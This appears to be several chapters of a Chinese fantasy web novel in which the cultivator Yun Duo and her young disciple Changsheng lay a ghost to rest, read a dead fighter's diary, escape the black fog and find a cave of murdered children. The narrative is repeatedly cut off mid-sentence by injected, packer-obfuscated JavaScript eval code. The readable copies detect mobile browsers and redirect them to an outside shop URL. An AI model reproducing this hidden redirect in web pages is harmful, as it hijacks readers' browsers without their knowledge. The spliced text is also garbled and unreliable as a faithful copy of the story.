“啊!别别别!我好好扎,别再给我加时间了!”长生吓得立刻僵住,强忍着酸麻挺直了腰背,只是把嘴撅得能挂油瓶。 这半炷香的时间,对于长生来说长得仿佛已经过完了一辈子。当云朵宣布时间到,长生便向一只被放完血的死猪,“噗通”一下仰面瘫在了地上。 “哎哟……我的腿……我的腰……”他四仰八叉地躺着,连动一根手指头的力气都没有了,小脸皱成一团,嘴里还在有气无力地哀嚎,“不是我的了……真的不是我的了……岁宁姐姐……它们要造反了……” 他尝试着抬起一条腿,顿时觉得酸、麻、胀、痛,各种滋味一起涌到了那条腿上,交织在一起,简直比被一百只蚂蚁咬还要难受百倍。只抬起不到一寸,那条腿就无力地砸回地面。 “呜……动不了了,我要变成一块石头了……”他哼哼唧唧,委屈巴巴地看向站在一旁的云朵,黑葡萄般的眼睛扑扇扑扇地瞅着云朵,“岁宁姐姐,长生好可怜啊……” 言外之意:我都这么可怜了,你不来帮帮我,哄哄我嘛? 云朵看着他虽然有装的成分,但确实是狼狈又可怜,微微叹了口气,走到长生身边,俯身蹲下。 云朵:“这点苦都吃不了,还妄想跟我游历天下?我以前修炼的时候,二师兄对我的要求可比这高多了!”而且她怎么撒娇哭闹都不管用。 长生瘪着嘴,想反驳又没力气,只能哼哼两声表示抗议。 云朵不再多言。她伸出右手,掌心向下按在长生微微抽搐的小腿肚上。 “唔!”长生猛地吸了一口气,五官一下子皱在了一起。 一股温暖的灵力正顺着云朵的掌心,流入他干枯的经脉中。酸麻胀痛的感觉在这股灵力的滋润下,正在飞快地消褪。 云朵看见他的反应,诧异道:“怎么了?难受?” 长生摇头:“没有没有!很舒服!”他眯起了眼睛,长长的睫毛在阳光下投下小小的阴影。 云朵一边给他输送灵力,一边说:“你的修仙天赋其实还可以,灵脉比一般人要粗一点。努力修炼的话,以后当个仗剑天涯的大侠应该没什么问题。” 长生惊喜道:“真的?那我岂不是以后会很厉害!” 云朵刚想说你以后最高的成就可能就是结个金丹,但又转念一想,在普通人看来,金丹期的修为大概已经是遥不可及的了,随即应道:“嗯。” “好耶!”长生高兴得跳了起来,原地转了两圈,兴奋地对云朵说,“那我们赶紧继续吧!” 云朵翻了个白眼:“是刚才谁在喊累,还耍赖的啊?一听说以后能当大侠,又来劲了这是?”她伸出一根手指,戳了戳长生的脑门,正经道:“万事万物皆有规律,即使是修仙,也需要遵循自然规律。你这样是在透支自己的身体,长久如此,会损伤你的经脉。到时候,你不但做不成大侠,搞不好反而成了个废人哦!” 长生被她吓住了:“啊!那还是算了算了!”话音刚落,肚子就“咕噜噜”地叫了一声。 “饿了?”云朵说完,径自从储物袋中取出几块糕点,递给长生,“快吃吧,吃完咱们接着赶路。” 长生接过糕点狼吞虎咽地啃了两口,抬头见云朵自己没吃,反而盯着远处发呆,奇怪道:“姐姐不吃吗?” 云朵摇头:“我已经辟谷了,你不用管我,自己吃饱就好。” 长生“哦”了一声,低头安静地继续进食。 距离她们二人离开栖云镇,已经有一个多月了。这一路上别说人影了,连个鬼影都没见过。云朵曾数次庆幸,还好带上了长生,要不然她可能都快忘记要如何说话了。 从晨光熹微走到暮色四合,云朵和长生终于在荒草丛生的山坳里,发现了一处废弃已久的宅院。 残垣断壁隐没在疯长的野草荆棘中,院门早已腐朽倒塌,露出满院的狼藉和衰败的气息。蛛网在破败的门窗上结了一层又一层,厚厚的灰尘覆盖着一切,空气里弥漫着浓重的霉味和尘土气。 若是从前,云朵定然嫌弃得要命,说什么也不肯在这种破地方歇息。可对于现在的他们来说,能有个歇脚之处,不用风餐露宿,已经是非常奢侈的享受了。 云朵在院子里四处看了看,最后选中了一间看起来最完好的屋子。 “今晚咱们就在这儿歇脚吧。”云朵说着,推开那扇吱呀作响的房门,积攒了不知多久的灰尘扑面而来,呛得长生直咳嗽。 屋内空荡破败,只有几张缺胳膊断腿的桌椅歪斜着,墙角堆着些辨不出原貌的杂物。好在屋顶和墙壁还算完整,起码能遮风挡雨。两人简单清理出一块相对干净的地面,铺上随身携带的薄毯。 长生几乎是刚躺下,眼皮就开始打架,小脑袋一点一点的。 云朵则是在门口和屋子四周的窗下画了几个符,用来预警和阻止野兽。完成后,她合衣躺在毯子的另一端,对强打着精神的长生说:“睡吧。” 长生含糊地应了一声,几乎是立刻就陷入了沉沉的梦乡,发出细微而均匀的呼吸声。云朵闭上眼,很快便也睡去。 四处无人的夜晚是寂静无声的,只有风穿过破窗的呜咽,和远处不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“救……救我……”那嘶哑的声音再次响起,充满了溺水般的绝望,“他们……追来了……好冷……好疼……”声音断断续续,缓慢地向他们的方向靠近。 “求求你们……救救我……我……不想死……” 长生已经吓得捂住了嘴,眼泪在眼眶里打转。云朵示意他躲在墙角,不要靠近窗边。 然而,就在云朵凝神戒备,以为它要往屋里闯时,那游魂的却停步在屋外,状态也陡然发生变化。 它猛地转过身,对着院墙外漆黑一片的山林方向,伸出半透明的手臂,声音陡然拔高,大喊道: “跑!快跑!离开这里!不要回头!” 声音里满是压抑不住的恐惧,如夜枭啼哭,划破了死寂的夜空。 “它来了!它要吃了我们!快跑啊——!” 凄厉的尖叫声在荒宅中回荡。 “不要管我了!你们快跑!能跑一个是一个!!” 喊完这句,那游魂仿佛被抽空了所有力气,又猛地佝偻下去,抱着头颅缩成一团,发出压抑而痛苦的呜咽: “救我……谁来……救救我……好黑……好冷……” 它就在这荒凉的庭院月光下,反复地、无序地切换着两种截然不同的状态。一会儿是绝望的求救,一会儿是撕心裂肺的警告。声音时而低沉如泣,时而尖锐刺耳。 冰冷的夜风穿过破窗,吹拂在云朵的脸上,带来刺骨的寒意。她站在窗后阴影里,指尖的灵力并未散去,眉头紧锁,眼神凝重地注视着庭院中的鬼魂。 从鬼魂身上,她感受不到丝毫怨气。所以,支撑它徘徊在此的,不是怨恨,而是执念。 可究竟是怎样的执念,让它即使饱受折磨,也迟迟不肯离去? 41. 辞乡叩九玄(4) 云朵沉默地看着院中的一缕幽魂,心中思绪万千。蓦地,她感觉袖子被轻轻扯了一下,低头看去,见长生不知何时从墙角挪到了她身边,一只手捂着嘴,一只手哆哆嗦嗦地扯着她的袖子,脸上都是泪痕。 看上去被吓得不轻。 云朵在心里默默叹了一口气,伸出手抚着长生的发顶,低声道:“没事的,它没有怨气,不会伤害我们的。你怕的话,就在这里躲着,我出去看看情况。” 听闻云朵要把他留在这里,独自出去,长生把头摇得像拨浪鼓一样,声音颤颤:“不、不要!我、我和你一起出去!你不要丢下我!” 云朵本想拒绝,但看他哭得实在可怜,只好无奈应下:“好好好,那你待会就在我身后躲好哦!” 说罢,她“吱呀”一声推开门,迈步走进了院里,长生像一条小尾巴一样,紧紧缀在她身后,生怕被落下一步。 云朵径直走到那鬼魂五步外,直直地看着那鬼魂,甚至将灵力逸散出去,在这院中仔细探查了一番。 没有怨气,没有陷阱。 那鬼魂停止了动作和声音,只呆呆地看向她们,仿佛刚才的那些场景都是云朵的幻觉一样。 云朵见它颇为沉得住气,又感受到揪着她后背衣服的手都得像在筛糠,只好试探性地问:“你是何人?为何在此处徘徊?” 她本想着这人指不定已经作古多少年了,灵魂恐怕已经薄弱得不堪一击,压根没有指望它能回答。哪知那鬼魂愣了愣,真的开了口:“我……我是……谁?”说完,它面露痛苦地双手抱头,“我要……赶跑它们……我们一起……” 他的话语断断续续,长生听得云里雾里,但云朵结合着刚才那鬼魂的表现,猜了个大概,遂接话道:“你是要同那些黑雾作战吗?” “对……对!赶走它们!它们吃人!很疼……” 云朵心下了然,这人大概是在黑雾出现前期,集结了一批志同道合的人,一同为驱散黑雾做出过努力。可惜,看他现在的样子,大概是失败了。 也对,连昔日不可一世的修仙门派都皆尽陨落,更何况一群凡人呢? 还没等云朵惋惜完,那鬼魂突然又像看见了什么可怕的东西,喊叫起来:“它们来了!你们快跑!我来挡住它们!”说着,它转过身,背对着云朵,面对着漆黑的山林,手中还不断做出挥动武器的姿势。它的动作在云朵看来,可以说是漏洞百出,完全就是个门外汉在凭借着本能乱砍乱挥。 但那又如何呢?云朵想,也许他就凭着这三脚猫的工夫保护了很多人,也许没有。无论如何,敢于忍受着令他浑身战栗的恐惧,依然坚定向敌人挥剑的勇气,就足以点亮他们暗夜前行的路了。 云朵拔出盈盈剑,粉色的剑刃在月光下泛着冷色的光。她将灵力灌注于剑身,上前一步,站在鬼魂身侧,对它说:“你已经很累了,退下吧,这里交给我。”随后手一扬,一道剑光宛如惊雷,直劈向虚无的黑暗,划出很远才消散。 云朵收起剑,转身对鬼魂道:“你看,我已经把它们都驱散了。” 那鬼魂又变回了呆呆的模样:“驱散了……?” 云朵:“是的,驱散了。” 鬼魂:“我们……赢了吗……?” 云朵顿了一下,她其实并不想撒谎,但对于眼前的灵魂来说,也许毕生的执念就是战胜黑雾,所以它才会被一只困在这里,每夜都在悲伤与恐惧中度过,不得安宁,不入轮回。 云朵:“是的……我们已经胜利了。那些黑雾不会再回来了,你可以……休息了。” 鬼魂久久凝望着前方,云朵也没有催促。长生不知何时已经止住了哭泣,也不再害怕了,从云朵身后探出身来,好奇地打量着鬼魂。 直到月色褪去,东方泛起鱼肚白,那鬼魂才从凝滞中动了一下,转过头来,面上竟带上了一丝笑容:“谢谢你,如此,我便可安心了。” 云朵心中一恸,她有什么值得被感谢的?这位无名的前辈,已经忘掉了近乎所有的前尘往事,甚至连自己姓甚名谁都不记得了,却唯独记得要保护身边的人。 即使上一秒声声悲切地呼唤着爹娘,祈求着谁能来救救他,下一秒依然义无反顾地将他们护在身后,让他们先逃。 而她,只是撒了个不知算不算善意的谎言,想让他能安心永眠。 想到这,云朵弯腰作揖,向鬼魂郑重一礼。 “在下浮云宗云岁宁,虽不知前辈名讳,却被前辈的勇气与心志折服。岁宁愿继承前辈之遗志,挥剑为苍生,直至黑雾尽散,万死不辞!” 说完,她直起身,眼眶微微泛红:“前辈,您辛苦了,这之后的事,就交给我们吧。” 那鬼魂在逐渐变亮的天光中渐渐变得透明,或许这次,他终于能睡个安稳觉了。 直到鬼魂消散成光点,向上飘散,融入微凉的晨风中,云朵才收回视线,隐去眼中的伤感。 荒宅依旧破败,它曾见证那位前辈的最后时刻,听着他的魂灵夜夜悲泣,不得解脱。如今,它终于看到了那一缕执念的消散,却也只得沉默不语,继续等待着下一个黎明。 “岁宁姐姐?”长生站到云朵身边,轻轻唤她,“他……他离开了吗?” 云朵收回目光,低头看着长生,声音温和而平静: “是的,他执念已消,彻底解脱了。” 长生望着她,眨了眨眼,道:“岁宁姐姐,你刚刚那一剑好厉害!能飞出去那么远!比我偷看他们练兵时,见过的招式都厉害!” 云朵忍住给他脑瓜子一巴掌的冲动,斥道:“那能一样吗!练兵场就那么大点地方,周围都是自己人,谁也不可能像我这样肆无忌惮地出招啊!” “哦……哦。”长生缩了缩脖子,却实在是难以压抑心底的兴奋,“岁宁姐姐,你能不能教教我刚刚那招?我拜你为师吧!啊对了,拜师是不是要行拜师礼来着?我应该怎么做?” 云朵摆摆手:“不用,我没那么多规矩,你就是不拜师,该教的我也不会藏着掖着。” 长生见她没有拒绝,眼睛一亮,连忙学着云朵刚才的样子弯腰作揖:“那我更应该称你一声师父了,请师父受徒儿一拜!” 云朵被他这正经的小大人模样弄的浑身不舒服,赶紧上前把他扶直了:“好了好了,我知道了,这天都亮了,你今天的修行可以开始了!” 长生脸色一僵,见云朵挑眉不语,只得咬咬牙,答道:“是,弟子这就去。” 趁着长生在院中练习挥剑,云朵挽起袖口,开始在各个厢房里翻翻找找,看有没有能用上的东西。 推开一扇吱呀作响的木门,眼前是一条向下延伸的楼梯,被已经腐朽得到处是空洞。云朵直接一跃而下,落在地窖中,溅起一片尘土。 她随手挥开面前的尘埃,指尖燃起灵力,借着微弱的光亮环顾四周。 地窖中没有什么之前的器物,只在角落里散落着几本用粗线装订、纸张早已泛黄发脆的书册。每一本的封面上,都用苍劲有力的墨迹写着四个字——《守土手记》。 守土?云朵心头微动,隐约觉得这些书册与那位无名的前辈有些联系。她小心翼翼地将最上面一本取了出来,将丝丝灵力缓慢灌注进书中,稳住那些泛黄脆弱的纸页。在灵力的保护下,她才敢用另一只手,极其轻柔地捻开扉页。 【守土元年十二月初三晴 我被家里赶出来了。出门前,祖父指着我的鼻子,骂我败家。 呵,他们真的觉得,在这种世道下,留着钱财便万事大吉了吗? 城外黑雾已吞了三村!如果我们什么都不做,只能等死! 而我不过是卖掉些用不上的玩意儿,换些武器丹药,再招募一些能人志士,一同抗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062201|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击那凶残的黑雾,为什么他们要用看疯子的眼神看我?! …… 末世当中,哪里真能独善其身? 罢了,我走便是。 我倒不信,这芸芸众生,会全是贪生怕死之辈!】 …… 【守土二年二月十七晴 功夫不负有心人,我把身上之前的东西都卖掉了,总算招揽了一批愿意同我一起战斗的战友! 我在聚贤楼摆了流水席,来的尽是蓬头垢面的汉子。王五刀疤横脸,说全家死在雾里;李娘子握弩的手在抖,怀里婴孩瘦得像猫。 酒坛空时,地上插了三百七十六把刀。 有人笑问:“沈少爷细皮嫩肉,见过血吗?” 我把酒碗掷了,将碎片踩在脚下:“明日出城,诸位且看!”】 …… 【守土二年三月十八阴 阿青死了。 昨日遭遇了黑雾,他被黑雾擦破了手臂。 本以为只是小伤,却不曾想伤口一直在烂,骨头和肉都烂成了一滩黑水。 他一直在哭号,求我们杀了他。 …… 我的剑还在滴血。 这黑雾是什么怪物?!我们真的能胜利吗?】 …… 【守土二年四月初九 小雨 今天我点了一下人数,算上阵亡、逃跑和退出的人,现在共剩下二百四十人。 我不禁问自己:我真的适合做带领他们的那个人吗?我真的能带着他们走向胜利吗? 答案是否定的,我根本看不到希望。 我也不知道我们能走到哪里,也许明年的今天,我们就全军覆没了也说不定呢? 但是,如果真的什么都不做的话,我良心难安。 不想了,能走到哪儿就到哪儿吧。】 …… 【守土三年三月初二中雨 我们退到了黑水泽。 岸边芦苇丛里伸出惨白的手,抓着李婶儿的裙角喊娘。 她反手一弩洞穿那“孩子”眉心,血却是黑的。 “第七十九个。”她抹了把脸,指缝里全是泪。】 …… 【守土四年五月二十 大雨 我用最后三枚爆炎符炸开豁口,带着五十余人冲出重围。 张叔的腿受了伤,血汩汩地流,止也止不住。 我从背囊里掏出丹药瓶,什么也没倒出来。 张叔咳着血沫嗤笑:“你这丹药,比你沈家窖藏的陈酒还金贵哩。” 我们走时,他把怀里一直揣着的木头雀送给了我。】 …… 【守土四年六月初一 大雨 没想到兜兜转转,我又回到了老宅。 老宅里空无一人。 我懒得管他们去哪里了,我现在脑子很乱,想什么都烦。 我带着仅剩的二三十人躲进老宅的地窖。 李婶居然还偷藏了半块麦饼,硬要塞给我。 我触到了她冰凉的指尖。 “省着吃,你可不能倒,你倒了我们怎么办?” 可是,我不倒,我们又能怎么办呢?】 …… 【守土四年六月十五 ……李婶疯了。 她抱着一团破布哼摇篮曲,说孩儿笑了。 王五的刀快,她大约不会很疼…… 我让王五给我一刀,他啐了我一口。】 …… 【守土四年七月初三 黑雾在叩门,咚咚咚。 我蜷缩在墙角,写下这些文字。 已经没有什么我能做的了。 只希望到时候别太疼。至少别疼太久。 啊,想阿爹和阿娘了,很快就能见面了。 我好像听见上元节的乐声了。】 42. 辞乡叩九玄(5) 看完最后一页,云朵合上书册,久久回不过来神。 “师父?师父!”上方传来长生的声音,云朵循声看去,见地窖口站着个人影,逆着光,神色被隐在了阴影里。见她看过来,那人影欢快地朝她摇晃着手臂,“师父,我已经练完啦!你在里面找什么呢?” 云朵:“没什么,找到几本那位前辈的日记,不知不觉就看入迷了。” 说罢,她将几本《守土手记》都小心地装进行囊,踩上陈旧的木楼梯,伴着吱呀声走出了地窖。 外面的天色已经大亮,长生简单吃了点东西,二人收拾好便继续上路了。 经历了前一晚的事,二人都显得有些沉默。云朵默默拉着缰绳,长生坐在她前面,静静翻看着无名前辈留下的手记,看到悲伤处,还会掉两滴眼泪。 直到天色暗下来,他们也没有碰到第二处能够遮风避雨的歇脚点,好在他们正好走到一处山坳,多少也能避避风。 长生年龄小,识字少,几本手记磕磕绊绊地看了一路才看完,还边看边哭,眼眶到现在还是红红的。 云朵忍着笑:“长生,你现在简直像一只兔子。” 长生瘪瘪嘴,委屈道:“我是看前辈他们太惨了,忍不住!我要是像他们一样,估计早就放弃了。” 云朵:“是啊,他们虽然都是凡人,却做了很多人都不敢的事情,真的很厉害。” 长生:“师父,我以后修行都不偷懒了!” 云朵:“哎呀,这是被前辈的事迹鼓舞了吗?不过修行可不是喊几句口号就完事的,你以后还有更多的苦要吃呢!” 长生:“没关系,我不怕!师父说过,我比普通人更有修仙的天赋,那我就得担负起更大的责任才行!” 云朵点头,十分欣慰:“不错不错,这句话我喜欢,深得我派真传呀!” 二人一边聊着,一边清理出一片适合休息的地方,点起了一小簇篝火。 “师父,今天让我来守夜吧!”长生兴冲冲地提议。 云朵瞅了她一眼,道:“算了吧,你这眼睛到现在都没消肿呢,要是再熬一宿,明天还不得肿成核桃?” 长生用手指摸了摸还在疼的眼眶,讪讪地闭了嘴。 夜深了,云朵抱膝坐在篝火旁,盯着劈啪作响的篝火发呆。长生蜷在她身边,呼吸绵长,火光在他脸上投射出跃动的影子。 夜风时不时穿过群山,响起阵阵呜咽声。 在这一片呜咽声中,云朵听到了一丝不和谐音。仿佛有什么巨大的东西从山坳深处而来,一路上碾过碎石和草木,向他们所在的地方逼近。 云朵站起身,朝着声音的方向甩出三张爆炸符,橘红的火舌在不远处炸开。火光映出她冷白的侧脸,也映出那团正无声翻涌的黑雾。它没有形状,没有厚度,却能吞噬掉一切光明和生命。 火焰亮起的刹那,黑雾仿佛被刺痛,整体往后一缩,发出婴儿啼哭般的尖啸。 “长生!”云朵低喝。 长生几乎是弹起来的,睡眼惺忪,身体却已经本能地绷紧。 云朵没给他发问的时间,手臂穿过他腋下,一把拎起,翻身上马,整套动作一气呵成。绯云被这突如其来的重量压得前蹄一沉,随即在长生的惊呼中蹿了出去。 疾行数十米,云朵将缰绳塞进长生手中,喊道:“你来控马!往前冲!” 长生一阵手忙脚乱:“啊?我??” “对,黑雾的速度太快了,我得想办法拦一拦。”说罢,云朵回身,剑光乍现,直刺入黑雾中。几道剑光击散了追上来的黑雾,但不出片刻,它们又重新聚集在一起,继续追来。 长生死死勒着缰绳,但他第一次控马,技术实在是不娴熟得很,马匹又在刚才的一波交锋中受到惊吓,奔跑的路线飘飘忽忽,隐隐竟有些不受控了。只见它一个急转,不知被什么绊了一下,速度骤降! 浓稠黑雾趁机直扑过来,云朵迅速出剑,剑光勉强将黑雾搅碎,让他们躲过一劫。 但这样下去也不是办法,这些黑雾不会痛也不会累,被打散了也很快会卷土重来。想到这,云朵用剑柄一戳马腹,飞身下马,挡在了黑雾面前。 绯云在长生的尖叫声中,驮着他疯了一般地向前冲。 “师父!!!” “你先走,我待会就去找你!”云朵头也不回地喊道,随后从储物袋中掏出一把爆炸符。 黑夜中,火光与剑光交织在一起,暂时将黑雾逼得无法前进。但随着最后一张爆炸符被打出,这张完美无缺的防御网上终是露出了破绽,黑雾竟像真的有了灵智一般,左进右突,眼看就要冲破云朵剑光的封锁。 云朵看着逐渐从剑光缝隙中钻过来的黑雾,内心倒是没有太大的恐慌。 如果在这里自爆金丹,威力够不够把这团黑雾彻底炸散? 反正绯云已经驮着长生跑得够远了,只要他们不停下,应该不至于被这玩意追上。 云朵一边不停挥剑,一边往金丹处灌注灵力,打算最后一搏。 咻—— 一道金色光矢划破了夜空,直刺入黑雾。云朵惊讶地发现,原本灵活诡谲的黑雾,在被那道金光刺中后,竟像是蛇被捉住七寸一般,被钉在了原地,不断翻涌。 随后,更多的光矢朝黑雾飞来,仿佛下了一场流星雨。那些光矢有的直刺入黑雾,有的落在那团黑雾四周。 云朵这才看清,所谓的金色光矢,是一把把佩剑,剑身和剑刃上雕着繁复的纹路,像是某种符箓上的图案,散发着夺目的金色光芒。 最后一柄剑落下,所有剑身上的光芒又更亮了一度,每柄剑的剑尖流出金色的阵纹,将彼此连接,组成一个巨大的法阵,将黑雾包裹在中间。 那黑雾在法阵中来回乱窜,却怎么都无法突破这层封印,只能在阵法的金光中逐渐溃败,最后消散无踪。 见此情形,云朵终于是放下心来,撤掉了剑上的灵力。 十几道身影依次落在了黑雾周围,为首之人一身暗红衣衫,眉眼沉沉,一副正气凛然的模样,不是岳沉舟还能是谁? 他见到云朵,也颇为诧异,但还是上前一步向她行礼:“我见有人在与黑雾缠斗,故上前施以援手,没想到竟是云小姐。” 云朵回礼道:“我也没想到会在这里遇见岳公子,多谢了!要是没有你们,我估计就要交代在这里了。话说你们到这边来,是有驱雾的任务吗?” 岳沉舟点头:“是的。云小姐要加入我们吗?” 云朵内心是想的,但一想到长生,若真是陷入苦战,恐怕他是自身难保,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云朵御剑的破空声将长生从自己的思绪中拉了回来,他看见云朵后,眼神立马就亮了。 “师父!”他连一直宝贝的包袱都不要了,跌跌撞撞地向云朵跑来,扑进她怀里,“你这么久都不过来,我还以为你……”说着说着,声音里带上了哭腔。 云朵:“哎别别别!我这不是好好的嘛!你可是男子汉,怎么能动不动就掉眼泪。” 长生抽抽搭搭地说:“我、我担心你啊!你居然就一个人留下来对抗那么可怕的东西……都怪我没用……” 云朵拍着他的背,安慰道:“你这不是刚开始修炼吗?这种事情急不得的,等你什么时候变厉害了,我们就可以并肩作战啦!到时候我们一起去把全世界的黑雾都揪出来驱散,让它们再也不能为祸世间!” 可能是想象到了未来披荆斩棘的景象,长生终于不哭了,眼睛亮亮地看着她:“嗯!我一定努力修炼,再也不偷懒了!所以……”他顿了顿,像是下定了某种决心,大声道“所以,师父下次不要再让我一个人逃走,自己留下来面对危险了!” 云朵:“那是自然,到时候就变成我跑,你留下来断后。” 长生:“……” 43. 灵溪有碎梦(1) 告别了岳沉舟一行人,云朵和长生继续漫无目的地前行。自从离开栖云镇后,云朵对时间流逝的感知变得越来越模糊,只因每天都在重复近乎相同的事情:早上督促长生修行,中午简单吃一口饭,开始赶路,傍晚找一个适合过夜的地方,结束一天的奔波,然后等待下一天的降临,如此循环往复。 云朵觉得,上一次过这么单调枯燥的日子,还是在她结丹前,不能离开宗门外出游历,只能每天听学、修炼。但终究是不一样的,那时候的枯燥无聊,只是因为太闲了。在浮云宗时,她不需要操心任何事,所以脑子里总会有些无法付诸行动的奇思妙想。而对于现在的她来说,他们每天都行走在未知的危险中,她不光要担心自己,还要担心长生的小命,毕竟再碰到上次那种阵仗,她不觉得还会有人恰好路过能帮他们一把。 让她欣慰的是,自那日被岳沉舟救下后,长生好像一夜之间懂事了。修炼非常认真,再没抱怨过苦和累,甚至有时还会觉得不够,让云朵给他加点训练量。 马蹄声哒哒,载着他们走向未知的前路。 四周的风景总是相似的,只有天色的变化能让他们感受到这一天又将进入尾声。 “师父你看,前面那好像有个山洞!”长生突然回过头来,手指着前方,眼里闪着开心的光。 云朵顺着他指的方向看去,见前方不远处的山脚下,确实有一个漆黑的洞口被掩在植物的叶片后面,若不细看,可能就直接错过了。 “是,看来我们今晚不用在野外露宿了。” “太好了!”长生的声音里透着兴奋。 “不过也不能高兴得太早,万一这里是什么野兽的巢穴呢?” 长生“啊”了一声,像霜打的白菜,瞬间蔫了下去。 云朵看着他像表演变脸一样,心情变好了许多,又安慰道:“有野兽我们就把它杀掉,你还能吃顿大餐呢。” 长生:“师父,我以前怎么没看出来你这么凶残啊,动不动就喊打喊杀的。” 云朵:“嗯?那要不你来给野兽当大餐?我倒是不介意……” 长生赶紧摇头:“不行不行!咱俩可是亲师徒,你怎么能做这种假设啊!” 云朵笑道:“好啦,不逗你了,我们先过去看看洞内的情况。不过我刚刚的话可不止是玩笑,在野外,凡事都要多留个心眼,可别看见个山洞就钻啊!” 长生:“知道了知道了!” 用佩剑挑开掩盖着洞口的枝叶,云朵指尖燃起火苗,向洞穴深处走去。长生亦步亦趋地跟在她身后,手里紧紧攥着练习用的木剑,眼睛紧紧盯着周围,手心里逐渐泌出了汗。 走着走着,云朵突然停了下来,长生光顾着警惕左右两边和身后,万万没想到最大的障碍来自前方,直直地撞了上去。 “疼疼疼!师父你干嘛突然停下啊!”长生揉着撞疼了的鼻子,小声抱怨道。 云朵沉默半晌,低声道:“你上前来看看就知道了。” 长生带着疑惑从云朵背后走出,借着她指尖上的火光,他看到了前方的景象,惊恐地瞪大了眼。 那是数不清的人的骸骨,它们交叠在一起,橙黄色的火焰并不能给它们带来一丝温暖,反而显得它们更加森白可怖。 长生是从没有见过这种可怕场面的,不由自主地后退了两步,伸手拽住云朵的衣袖,声音里都带着颤:“师父,这是怎么回事?这些骨头……看上去都是小孩子呀?” 长生说的没错,那些骸骨都小小的,远没有达到成人的身量。若是只有几具,倒也可能是巧合,但这里的骸骨没有上百也有几十,一定是有人故意为之。可令她想不通的是,究竟是什么原因,能让人对如此多的稚童下手,将他们残忍地扼杀在最天真烂漫的年纪。 云朵拍了拍长生拽着她袖子的手,指了指面前的骸骨堆:“别担心,这里没有野兽,也没有怨气。咱们先分头行动,调查一番,我去前面看看,这些孩子有没有留下什么能提供信息的遗物。”说完,她又指了指身后的方向,“你去四周看看,有没有什么可疑的线索。” 长生有些不情愿,但见云朵一脸严肃地看着他,就知道这种情况下撒娇没用了,只好一步三回头地去周围探查了。 云朵伸出手,灵力从五指探出,在骸骨之间穿梭,她闭着眼睛认真感受着。这些幼童年龄都在十岁左右,从骨骼上看不出受伤的迹象,倒是有些骨骼上有些奇怪的色彩,看着像是中毒了。 可是,为什么要对这么小的孩子下毒呢?就算是修仙奇才,在这么小的年龄也翻不出什么浪花啊。 “师父,你快来这里看看!这石壁上好像有字,我看不太清!”长生在远处喊她。 云朵见这边确实也找不到更多的信息了,便朝长生那边走去。长生站在一处石壁前,手里燃着一枚照明符,跳跃的火光照出了石壁上深深浅浅的划痕。 云朵凑近细瞧,发现那些划痕确实都是歪歪扭扭的字迹,刻字的人像是没有什么趁手的工具,用比较尖利的石块反复琢磨很久才能留下一笔。她沿着石壁边走边看,发现这些字迹分布很广,但最高的也只到长生头顶的高度,且年代似乎也不太一样,有些看上去很清晰,有些却已经模糊不清了。 莫非,这石壁被当做了留言板一类的东西? 她一直走到字迹分布的最左侧,按照正常人的书写习惯,这里大概率能看到最早的一句留言。她将火苗举到到离石壁更近的地方,一字一句地努力辨认着。 【后世的弟弟、妹妹: 你好!当你看到这段话时,我已经不在了。但你要记住我哦!我是小枫,我的梦想是可以在全世界种满枫树!】 在这行字的下面,还有更多歪歪扭扭的笔迹: 【小枫前辈好!我是豆豆,我算数特别厉害,爹娘说我若是生在以前,长大后可以去当个铺子老板!】 【小枫、豆豆前辈好!我是阿宝,我怕黑,但是我看见你们的字,也没那么怕了。】 【三位前辈好!真好呀,死前还能看到你们的留言,我都觉得没那么疼了。】 【可是我好疼!我想要爹娘,我想回家!我不想死在这里!】后面还跟了一张大哭的脸。 【上面的别说丧气话,我给你划了啊!已经到最后了,大家都要开开心心地走!】说着划掉,但显然最终并没有付诸行动。 …… 一整墙,密密麻麻,全是出自不同孩子之手。是他们在这个世界上留下的,最后的痕迹。虽然云朵从未见过他们之中的任何一个,但通过这些留言,她也能窥见这些小小生命的侧影。留言有的很乐观,明明自己已经见到了死神的衣角,却依然鼓励着后面会来的孩子;有的真情流露,诉说着自己的痛苦和恐惧;有的平淡,只是简单地陈述自己人生中的一些事。如果不是洞穴深处的遍地骸骨,这简直就是在学堂上溜号时,私下传的小纸条上会有的对话。 越是看,云朵就越是遗憾,越是愤怒。他们明明都该有广阔的未来,却不知为何,只能在这一方山洞中走向生命的终结。 长生安静地站在一旁,静静地跟着云朵一起看,目光闪烁。 “师父,你说他们在临死前,都在想什么呢?”长生低声问她。 云朵也给不出答案,只能沉默地将石壁上的字一行一行地看完,努力记在心里。 看过石壁上的留言后,长生也不再说害怕了,云朵去洞口布置了防御的阵法后,二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062203|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 